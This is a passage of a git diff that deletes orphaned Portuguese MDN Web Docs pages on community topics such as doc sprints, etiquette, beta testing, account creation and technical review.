- <dd>There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.</dd>
- <dt>Recursos</dt>
- <dd>Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.</dd>
- <dt>Viagens</dt>
- <dd>Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.</dd>
- <dt>Acomodação</dt>
- <dd>Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.</dd>
- <dt>Alimentação</dt>
- <dd>Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.</dd>
- <dt>Diversão</dt>
- <dd>Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.</dd>
-</dl>
-
-<h2 id="Durante_o_sprint">Durante o <em>sprint</em></h2>
-
-<h3 id="Planear_o_trabalho">Planear o trabalho</h3>
-
-<p> </p>
-
-<h3 id="Monitorizar_tarefas">Monitorizar tarefas</h3>
-
-<p>Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.</p>
-
-<p>Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.</p>
-
-<h3 id="Colaboração">Colaboração</h3>
-
-<p>One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.</p>
-
-<p>As an organizer, look for common interests among the participants and for ways that they can work together.</p>
-
-<h3 id="Celebrar_realizações">Celebrar realizações</h3>
-
-<p>Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.</p>
-
-<p>Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.</p>
diff --git a/files/pt-pt/orphaned/mdn/community/index.html b/files/pt-pt/orphaned/mdn/community/index.html
deleted file mode 100644
index 377c1cd06f..0000000000
--- a/files/pt-pt/orphaned/mdn/community/index.html
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Aderir à Comunidade da MDN
-slug: orphaned/MDN/Community
-tags:
- - Comunidade
- - Guía
- - Landing
- - Metadados MDN
-translation_of: MDN/Community
-original_slug: MDN/Comunidade
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<div class="summary">
-<p>Os <strong>Documentos da Web<em> </em>da MDN</strong> é mais do que uma <em>wiki</em>:</p>
-
-<p>É uma comunidade de programadores a trabalhar em conjunto para tornar a MDN num recurso marcante para os programadores que utilizam as tecnologias abertas da Web.</p>
-</div>
-
-<p>Nós adoraríamos se contribuísse para a MDN, mas nós ainda iríamos adorar mais se participasse na comunidade da MDN. Aqui tem como ligar-se, em três passos fáceis:</p>
-
-<ol>
- <li><a href="/pt-PT/docs/MDN/Contribute/Howto/Criar_uma_conta_MDN">Criar uma conta na MDN</a>.</li>
- <li><a href="/pt-PT/docs/MDN/Comunidade/Conversações">Juntar-se às conversações</a>.</li>
- <li><a href="/pt-PT/docs/MDN/Comunidade/O_que_está_a_acontecer">Seguir o que está a acontecer</a>.</li>
-</ol>
-
-<h2 id="Como_é_que_a_comunidade_funciona">Como é que a comunidade funciona</h2>
-
-<p>O seguinte são mais artigos que descrevem a comunidade da MDN.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<dl>
- <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/Funcoes">Regras da comunidade</a></dt>
- <dd class="landingPageList">Há várias funções dentro da comunidade da MDN que possuem responsabilidades específicas.</dd>
- <dt class="landingPageList"><em><a href="/pt-PT/docs/MDN/Comunidade/Doc_sprints">Doc sprints</a></em></dt>
- <dd class="landingPageList">Este é um guia para organizar um <em>sprint</em> de documentação. Este contém conselhos e dicas de pessoas que organizaram <em>sprints</em> de documentos, para ajudá-lo a organizar um também.</dd>
- <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/O_que_está_a_acontecer">Seguir o que está a acontecer</a></dt>
- <dd class="landingPageList">A MDN é trazida para si pela <a class="external" href="https://wiki.mozilla.org/MDN">comunidade da Rede de Desenvolviemtno da Mozilla</a>. Aqui tem algumas maneiras, e assim nós partilhamos a informação sobre o que estamos a fazer.</dd>
-</dl>
-
-<dl>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/Conversações">Conversações da comunidade da MDN</a></dt>
- <dd class="landingPageList">O "trabalho" da MDN acontece no site da MDN, mas a "comunidade" também acontece através de discussões (assíncronas) e conversação e reuniões on-line (síncrono).</dd>
- <dt class="landingPageList"><a href="/pt-PT/docs/MDN/Comunidade/Trabalhar_em_comunidade">Trabalhar em comunidade</a></dt>
- <dd class="landingPageList">Uma parte importante da contribuição para a documentação da MDN em qualquer escala significativa é saber como trabalhar como parte da comunidade da MDN. Este artigo oferece dicas para ajudá-lo a aproveitar ao máximo as interações com os outros escritores e com as equipas de desenvolvimento.</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/orphaned/mdn/community/whats_happening/index.html b/files/pt-pt/orphaned/mdn/community/whats_happening/index.html
deleted file mode 100644
index db6c4837ce..0000000000
--- a/files/pt-pt/orphaned/mdn/community/whats_happening/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: Seguir o que está a acontecer
-slug: orphaned/MDN/Community/Whats_happening
-tags:
- - Comunidade
- - Guia(2)
- - Metadados MDN
- - Principiante
-translation_of: MDN/Community/Whats_happening
-original_slug: MDN/Comunidade/O_que_está_a_acontecer
----
-<div>{{MDNSidebar}}</div><p>MDN is brought to you by the <a href="https://wiki.mozilla.org/MDN">Mozilla Developer Network community</a>. Here are some ways to that we share information about what we're doing.</p>
-
-<h2 id="Blogues">Blogues</h2>
-
-<dl>
- <dt><a href="https://hacks.mozilla.org/" title="https://hacks.mozilla.org/">Mozilla Hacks</a></dt>
- <dd>News about and in-depth coverage of Web and Mozilla technologies and features.</dd>
- <dt><a href="https://blog.mozilla.org/community/category/developer-engagement/">Engaging Developers</a></dt>
- <dd>Promoting activity and discussion amongst the community involved in MDN at Mozilla.</dd>
-</dl>
-
-<h2 id="Emissões_de_ephemera">Emissões de ephemera</h2>
-
-<ul>
- <li><a href="https://twitter.com/mozhacks" title="https://twitter.com/mozhacks"><span id="cke_bm_286S" class="hidden"> </span></a><a href="http://twitter.com/MozDevNet">@MozDevNet</a>: Curated feed of new pages, significant updates, and other news about Mozilla Developer Network.</li>
- <li><a href="https://twitter.com/mozhacks" title="https://twitter.com/mozhacks">@MozHacks</a>: Tweets about new web technologies, great HTML5 apps, and Firefox features.</li>
- <li><a href="http://www.youtube.com/user/mozhacks" title="http://www.youtube.com/user/mozhacks">Mozilla Hacks (YouTube)</a></li>
-</ul>
-
-<h2 id="Estado_das_informações_e_painéis">Estado das informações e painéis</h2>
-
-<p>The MDN documentation team maintains a <a href="https://trello.com/b/HAhl54zz/status">Trello board</a> on which our projects are tracked. This board is read-only but will let you see what's being worked on and what we hope to do soon, and may help you figure out where you can help. <a href="/en-US/docs/MDN/Contribute/Community/Trello">This article</a> explains how this board is used.</p>
-
-<p>In addtion, take a look at the <a href="/en-US/docs/MDN/Doc_status">Documentation status</a> pages to see what's going on across the full breadth of MDN content. You'll be able to see what articles need to be written or updated, what topics need the most help, and much, much more.</p>
-
-<h2 id="Encontros_da_MDN">Encontros da MDN</h2>
-
-<p>There are a number of regular meetings for tracking and sharing progress on various MDN-related projects and processes. These are described on the <a href="https://wiki.mozilla.org/MDN/Meetings">MDN meetings wiki page</a>.</p>
-
-<p>To get a general sense of what's happening, the best meeting to attend is the MDN Community meeting, which occurs every two weeks on Wednesdays, 10:00 US Pacific time (UTC-0800 October-March, UTC-0700 in March-October), in the <a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/devmo">#mdn</a> <a href="http://wiki.mozilla.org/IRC" title="http://wiki.mozilla.org/IRC">IRC</a> channel. See the <a href="https://wiki.mozilla.org/MDN/Meetings/Community" title="https://wiki.mozilla.org/MDN/Community_meetings">MDN community meetings</a> wiki page for agendas and notes from past meetings.</p>
-
-<p>The <a class="external text" href="https://www.google.com/calendar/embed?src=mozilla.com_2d35383434313235392d323530%40resource.calendar.google.com" rel="nofollow">Public MDN Events</a> calendar contains MDN community meetings, doc sprints, and other MDN-related events.</p>
diff --git a/files/pt-pt/orphaned/mdn/community/working_in_community/index.html b/files/pt-pt/orphaned/mdn/community/working_in_community/index.html
deleted file mode 100644
index 5157c991d1..0000000000
--- a/files/pt-pt/orphaned/mdn/community/working_in_community/index.html
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: Trabalhar em comunidade
-slug: orphaned/MDN/Community/Working_in_community
-translation_of: MDN/Community/Working_in_community
-original_slug: MDN/Comunidade/Trabalhar_em_comunidade
----
-<div>{{MDNSidebar}}</div>
-
-<p>TA major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.</p>
-
-<h2 id="Guias_gerais_de_etiqueta">Guias gerais de etiqueta</h2>
-
-<p>Here are some general guidelines for conduct when working in the Mozilla community.</p>
-
-<ul>
- <li>Be polite! Even in disagreement, we all have the same mission: the betterment of the Web.</li>
- <li>Ask, don't demand. People are far more likely to be helpful and responsive when you politely request help rather than demand it. While the documentation work is important, and our development community knows it, human instinct tends to cause people to be abrasive and difficult if you don't treat them with due respect.</li>
- <li>Balance your need for information with the urgency of the documentation and the time the others in your discussion have to devote to helping you. Don't keep pushing for more and more details if it's not absolutely necessary right away, to the point of driving the others involved in the conversation crazy.</li>
- <li>Keep in mind that your request takes valuable time from the people you're contacting, so be sure to use their time well.</li>
- <li>Be considerate of cultural differences. Mozilla is a multinational and multicultural team, so when talking to someone whose culture is, or may be, different from your own, be sure to keep that in mind while communicating.</li>
- <li>Start a new conversation instead of highjacking an existing conversation. Don't inject your questions into an unrelated conversation just because the people you need to talk to are paying attention to it. While convenient for you, this can irritate the people you're trying to talk to, and result in a less than ideal outcome.</li>
- <li>Avoid {{interwiki("wikipedia", "bikeshedding")}}. Don't let your enthusiasm become annoying pedantry. It makes conversations cumbersome and unfocused.</li>
-</ul>
-
-<h2 id="Seja_delicado">Seja delicado</h2>
-
-<p>Always be tactful and respectful when communicating with others.</p>
-
-<h3 id="Politely_pointing_out_mistakes">Politely pointing out mistakes</h3>
-
-<p>If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the  bad guy.</p>
-
-<p>For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case us underlined):</p>
-
-<blockquote>
-<p>Hi, <u>MrBigglesworth</u>, I've been noticing your contributions to <u>the Wormhole API documentation</u>, and it's fantastic to have your help! I particularly like <u>the way you balanced your level of detail with readability</u>. That said, though, you could make these articles even better and more helpful if you <u>added the correct tags to the pages</u> as you go.</p>
-
-<p><u>See the MDN tagging guide (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) for details.</u></p>
-
-<p>Thanks again, and I look forward to your future contributions!</p>
-</blockquote>
-
-<h2 id="Partilhar_conhecimento">Partilhar conhecimento</h2>
-
-<p>As you participate in the MDN project, it's useful to know what's going on, and to interact with other members of our community. By talking with others in our community, you can get—and share—ideas, status updates, and more. We also have tools and informational resources that can help you know what's being done, by whom.</p>
-
-<h3 id="Communication_channels">Communication channels</h3>
-
-<p>There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.</p>
-
-<h4 id="Bugzilla">Bugzilla</h4>
-
-<p>When writing documentation to cover changes implemented as a result of a bug in Bugzilla, you'll often interact with people involved in those bugs. Be sure to keep the <a href="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html" title="https://bugzilla.mozilla.org/page.cgi?id=etiquette.html">Bugzilla Etiquette</a> guide in mind at all times!</p>
-
-<h4 id="Correio_eletrónico">Correio eletrónico</h4>
-
-<p>Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.</p>
-
-<div class="note">
-<p><strong>Note:</strong> As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission in IRC or a mailing list first, unless you've exhausted all other attempts at getting in touch.</p>
-</div>
-
-<h3 id="Ferramentas_de_estado_de_conteúdo">Ferramentas de estado de conteúdo</h3>
-
-<p>We have several useful tools that provide information about the status of documentation content.</p>
-
-<dl>
- <dt><a href="/dashboards/revisions">Revision dashboard</a></dt>
- <dd>The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">Documentation status overview</a></dt>
- <dd>Our <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">documentation status overview</a> page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.</dd>
- <dt><a href="/en-US/docs/MDN/Plans">Documentation project plans</a></dt>
- <dd>We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.</dd>
- <dt><a href="https://tree.taiga.io/project/viya-mdn-durable-team">MDN Taiga</a></dt>
- <dd>The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team/Processes">Process page on the Mozilla wiki</a>.</dd>
-</dl>
-
-<h2 id="A_comunidade_de_desenvolvimento">A comunidade de desenvolvimento</h2>
-
-<p>Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!</p>
-
-<p>In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.</p>
-
-<p>On a related note, a great way to find the right person to talk to is to look at the <a href="https://wiki.mozilla.org/Modules">module owners lists</a>.</p>
-
-<h2 id="A_comunidade_de_escrita">A comunidade de escrita</h2>
-
-<p>The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.</p>
-
-<p>See the article <a href="/en-US/docs/MDN/Community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">Join the community</a> for more information about the MDN community.</p>
-
-<p>The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "<a href="https://quality.mozilla.org/docs/misc/getting-started-with-irc/" title="https://quality.mozilla.org/docs/misc/getting-started-with-irc/">Getting Started with IRC</a>." You'll also have discussions with us on the <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.</p>
-
-<p>By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Project:MDN/Contributing" title="/en-US/docs/Project:MDN/Contributing">Contributing to MDN</a></li>
- <li><a href="/en-US/docs/Project:MDN/Contributing/Join_the_community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">MDN community</a></li>
- <li><a href="http://matt.might.net/articles/how-to-email/" title="http://matt.might.net/articles/how-to-email/">How to send and reply to email</a></li>
- <li><a href="http://blog.gerv.net/2012/10/how-to-be-a-mozillia/">How to be a Mozillian</a></li>
-</ul>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html
deleted file mode 100644
index a71c3daa81..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: Como participar nos testes "beta"
-slug: orphaned/MDN/Contribute/Howto/Be_a_beta_tester
-tags:
- - MDN Meta
- - Metadados MDN
-translation_of: MDN/Contribute/Howto/Be_a_beta_tester
-original_slug: MDN/Contribute/Howto/Participar_testes_beta
----
-<div>{{MDNSidebar}}</div><p>De vez em quando, à medida que os programadores da plataforma Kuma da MDN fazem alterações no site, nós oferecemos acesso antecipado a essas novas funcionalidades aos membros que optaram por participar nos testes "beta". Como é típico com qualquer teste "beta", as funcionalidades podem não funcionar corretamente em algumas situações.</p>
-
-<h2 id="Participar_nos_testes_beta">Participar nos testes "beta"</h2>
-
-<ol>
- <li>Depois de iniciar a sessão na MDN, clique no seu nome de utilizador na barra de navegação no topo.<br>
- <img alt="Shows location of the user's profile link in the top navigation" src="https://mdn.mozillademos.org/files/15099/profile_link.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 59px; width: 383px;"><br>
- This takes you to your profile page.</li>
- <li>Clique no botão "<strong>Edit</strong>".<br>
- <img alt="Shows location of the button to edit a user's profile (which may vary depending on window dimensions" src="https://mdn.mozillademos.org/files/15093/profile_edit_link.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 144px; width: 387px;"><br>
- This opens the profile page in edit mode.</li>
- <li>Selecione a caixa para <em><strong>Beta tester</strong></em>.<br>
- <img alt="Shows the location of the Beta Tester checkbox" src="https://mdn.mozillademos.org/files/15095/profile_beta_checkbox.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 139px; width: 305px;"></li>
- <li>Clique no botão "<strong>Publicar" </strong>no fim da página de perfil.<br>
- <img alt="Shows the location of the Publish button on a user's profile page" src="https://mdn.mozillademos.org/files/15097/profile_publish_button.png" style="box-shadow: 2px 2px 7px 1px #9e9e9e; height: 218px; width: 477px;"></li>
-</ol>
-
-<h2 id="Cancelar_participação_nos_testes_beta">Cancelar participação nos testes "beta"</h2>
-
-<ol>
- <li>While logged in to MDN, click your user name in the top navigation bar. This takes you to your profile page.</li>
- <li>Click the <strong>Edit</strong> button. This opens the profile page in edit mode.</li>
- <li>Clear the checkbox for <strong>Beta tester</strong>.</li>
- <li>Click the <strong>Publish</strong> button.</li>
-</ol>
-
-<h2 id="Dê_a_sua_opiniãocomentário_sobre_os_testes_beta">Dê a sua opinião/comentário sobre os testes "beta"</h2>
-
-<p>There are two ways you can give feedback about a beta test:</p>
-
-<ul>
- <li>Share qualitative feedback on the MDN discussion forum. Add a post to the <a href="https://discourse.mozilla-community.org/t/beta-redesign-feedback/16544">Beta feedback thread</a>.  Or,</li>
- <li>File a bug, using the following steps:</li>
-</ul>
-
-<ol>
- <li><a href="https://bugzilla.mozilla.org/createaccount.cgi">Create an account on Bugzilla</a> if you don't already have one.</li>
- <li>Open a <a href="https://bugzilla.mozilla.org/form.mdn#h=detail%7Cbug">bug report in Bugzilla for MDN</a>.</li>
- <li>Include the word "beta" in the Summary field to help MDN developers filter and triage incoming bugs.</li>
- <li>Fill out the bug report form to the best of your ability. Be as detailed as possible.</li>
- <li>Click the <strong>Submit</strong> button.</li>
-</ol>
-
-<p> </p>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html
deleted file mode 100644
index 4f681cb400..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Como criar uma conta MDN
-slug: orphaned/MDN/Contribute/Howto/Create_an_MDN_account
-tags:
- - Como
- - Documentação
- - Guía
- - Metadados MDN
- - Principiante
-translation_of: MDN/Contribute/Howto/Create_an_MDN_account
-original_slug: MDN/Contribute/Howto/Criar_uma_conta_MDN
----
-<div>{{MDNSidebar}}</div>
-
-<p><span class="seoSummary">Para editar conteúdo na MDN precisa de um perfil MDN. Não precisa de um perfil se só pretende ler e pesquisar documentos na MDN. Este guia irá ajudá-lo a configurar o seu perfil na MDN.</span></p>
-
-<div class="standardSidebar" style="width: 280px;"><strong>Porque é que a MDN precisa do meu endereço de e-mail?</strong><br>
-<br>
-O seu endereço de e-mail é utilizado para a recuperação da conta e, se necessário, pelos administradores da MDN para o contactar sobre a sua conta ou atividade no site.<br>
-<br>
-Adicionalmente, pode registar-se para receber notificações (tais como, <a href="/pt-PT/docs/MDN/Contribute/Tools/Vigiar_pagina">quando são alteradas páginas especificas</a>) e mensagens (por exemplo, se optar por aderir à nossa equipa de testes beta, poderá receber mensagens sobre as novas funcionalidades que precisam de ser testadas).<br>
-<br>
-O seu endereço de e-mail nunca é exibido na MDN e será utilizado apenas de acordo com a nossa <a href="https://www.mozilla.org/privacy/websites/">politica de privacidade</a> (EN).</div>
-
-<div class="note">Se iniciou a sessão na MDN via GitHub, e utiliza um endereço de e-mail  "não responder" no GitHub, <em>não irá receber</em> mensagens (incluindo as notificações quando subecrever páginas) na MDN.</div>
-
-<ol>
- <li>No topo de cada página na MDN irá encontrar um botão nomeado "Iniciar sessão". Clique com o seu rato (ou toque no mesmo, se estiver a utilizar um dispositivo móvel) para exibir uma lista de serviços de autenticação que nós suportamos para iniciar a sessão na MDN.</li>
- <li>Selecione um serviço para iniciar a sessão. Atualmente, apenas está disponível o GitHub. Note que se selecionar o GitHub, será incluída uma hiperligação para o seu perfil do GitHub na página pública do seu perfil da MDN.</li>
- <li>Siga os avisos do GitHub para entrar na sua conta MDN.</li>
- <li>Assim que o serviço de autenticação volta para o seu MDN, ser-lhe-á pedido para inserir um nome de utilizador e um endereço de e-mail<strong>. </strong><em>O seu nome de utilizador será exibido publicamente para creditar o seu trabalho realizado. Não utilize o seu endereço de e-mail como o seu nome de utilizador</em><strong>.</strong></li>
- <li>Clique em <strong>Criar o meu perfil MDN</strong>.</li>
- <li>Se o endereço de e-mail especificado no passo 4 não for o mesmo que utilizou no serviço de autenticação, por favor, verifique o seu e-mail e clique na hiperligação na mensagem de confirmação que nós lhe enviamos.</li>
-</ol>
-
-<p>E é tudo! Agora tem uma conta MDN, e pode editar as páginas imediatamente!</p>
-
-<p>Pode clicar no seu nome no topo de qualquer página da MDN para ver o seu perfil público. Lá, pode clicar em <strong>Editar</strong> para efetuar alterações ou adições ao seu perfil.</p>
-
-<div class="note">
-<p>Os novos nomes de utilizador não podem conter espaços ou o caráter "@". Lembre-se que o seu nome de utilizador será exibido publicamente para identificar o seu trabalho realizado!</p>
-</div>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html
deleted file mode 100644
index 0bcd867312..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: Como efetuar uma revisão técnica
-slug: orphaned/MDN/Contribute/Howto/Do_a_technical_review
-tags:
- - Como
- - Documentação
- - Guía
- - Metadados MDN
- - Revisão
-translation_of: MDN/Contribute/Howto/Do_a_technical_review
-original_slug: MDN/Contribute/Howto/Como_efetuar_revisao_tecnica
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
-
-<p class="summary"><strong>'Uma revisão Técnica' </strong>consiste em rever a exatidão técnica e a integridade de um artigo e corrigi-lo, se necessário. Se um escritor de um artigo quiser que outra pessoa verifique o conteúdo técnico de um artigo, o escritor marca a caixa de seleção "Revisão técnica" durante a edição. Muitas vezes, o escritor entra em contacto com um técnico específico para realizar a revisão técnica, mas qualquer pessoa com conhecimento técnico no assunto pode efetuar uma.</p>
-
-<p>Este artigo descreve como realizar uma revisão técnica, ajudando a garantir que o conteúdo da MDN seja preciso<span class="seoSummary">.</span></p>
-
-<dl>
- <dt>O que é uma tarefa?</dt>
- <dd>Rever e corrigir os artigos para uma perfeição e exatidão técnica.</dd>
- <dt>
- <p> </p>
- Onde é que esta precisa de ser efetuada?</dt>
- <dd>Nos artigos específicos que são marcados como 'necessária uma <a href="/en-US/docs/needs-review/technical">revisão técnica</a>' (em inglês).</dd>
- <dt>O que precisa de saber para realizar a tarefa?</dt>
- <dd>
- <ul>
- <li>
- <p>Conhecimento especializado do tópico do artigo que está a rever. Se ao ler o artigo não lhe ensina algo significativamente novo, considere-se um especialista<span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p>
- </li>
- <li>Como editar um artigo da wiki na MDN.</li>
- </ul>
- </dd>
- <dt>Quais são os passos a seguir?</dt>
- <dd>
- <ol>
- <li>Escolha um artigo para rever:
- <ol>
- <li>Vá para lista das páginas que precisam de <a href="/en-US/docs/needs-review/technical">revisões técnicas</a>. I
- <p> </p>
- sto lista todas as páginas para as quais uma revisão técnica foi solicitada.</li>
- <li>Escolha uma página cujo tópico esteja familizarizado.</li>
- <li>Clique na hiperligação do artigo para carregar a página.</li>
- </ol>
- </li>
- <li><a id="core-steps" name="core-steps"></a>Leia o artigo, tendo em atenção os detalhes técnicos: O artigo está correto? Tem alguma coisa em falta? Não hesite em mudar para uma página diferente se a primeira que escolheu não lhe é conveniente.</li>
- <li>Se não existirem erros, não precisa de editar o artigo para o marcar como revisto. Veja na caixa "revisão rápida" na barra lateral esquerda da página. Esta caixa amarela lista quaisquer revisões pendentes e deixa-o limpar a bandeira do pedido da sua revisão. Parece-se com isto se foi solicitada uma revisão técnica:<br>
- <img alt="Screenshot of the sidebar's box listing reviews that have been requested and allowing the flags to be changed." src="https://mdn.mozillademos.org/files/13016/SidebarTechReviewRequested.png"></li>
- <li>Desselecione a caixa <strong>Técnico</strong>, e clique em <strong>Guardar</strong>.</li>
- <li>Se encontrar erros que precisam de ser corrigidos, irá ficar feliz em saber que também pode alterar o estado da solicitação de revisão no editor. Aqui tem o fluxo de trabalho:
- <ol>
- <li>Para editar a página, clique em <strong>Editar</strong> perto do topo da página; isto coloca-o no <a href="/pt-PT/docs/MDN/Contribute/Editor">editor da MDN</a>.</li>
- <li>Corrigir qualquer informação técnica que não esteja correta, e/ou adicioanr qualquer informação importante que esteja em falta.</li>
- <li>Inserir um '<strong>Comentário da Revisão'</strong> no fim do artigo. Esta é uma breve mensagem que descreve o que fez, tal como 'Revisão técnica concluída'. Se corrigiu a informação, inclua isso no seu comentário, por exemplo, 'Revisão técnica e descrições dos parâmetros corrigidos'. Isto ajuda os outros colaboradores e editores de sites a saberem o que alterou e o porquê. Também pode mencionar se existiam partes específicas que não se sentia qualificado para rever.</li>
- <li>Desselecionar a caixa <strong>Técnico </strong>sob <strong>Revisão necessária?</strong>.</li>
- <li>Clique em <strong>PUBLICAR</strong>.</li>
- </ol>
- </li>
- </ol>
-
- <p>Parabéns! Concluiu a sua primeira revisão técnica! Obrigado pela sua ajuda!</p>
- </dd>
-</dl>
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html
deleted file mode 100644
index d99bad01ee..0000000000
--- a/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: Como efetuar uma revisão editorial
-slug: orphaned/MDN/Contribute/Howto/Do_an_editorial_review
-tags:
- - Como
- - Documentação
- - Guía
- - Metadados MDN
- - Revisão Editorial
-translation_of: MDN/Contribute/Howto/Do_an_editorial_review
-original_slug: MDN/Contribute/Howto/fazer_revisão_editorial
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
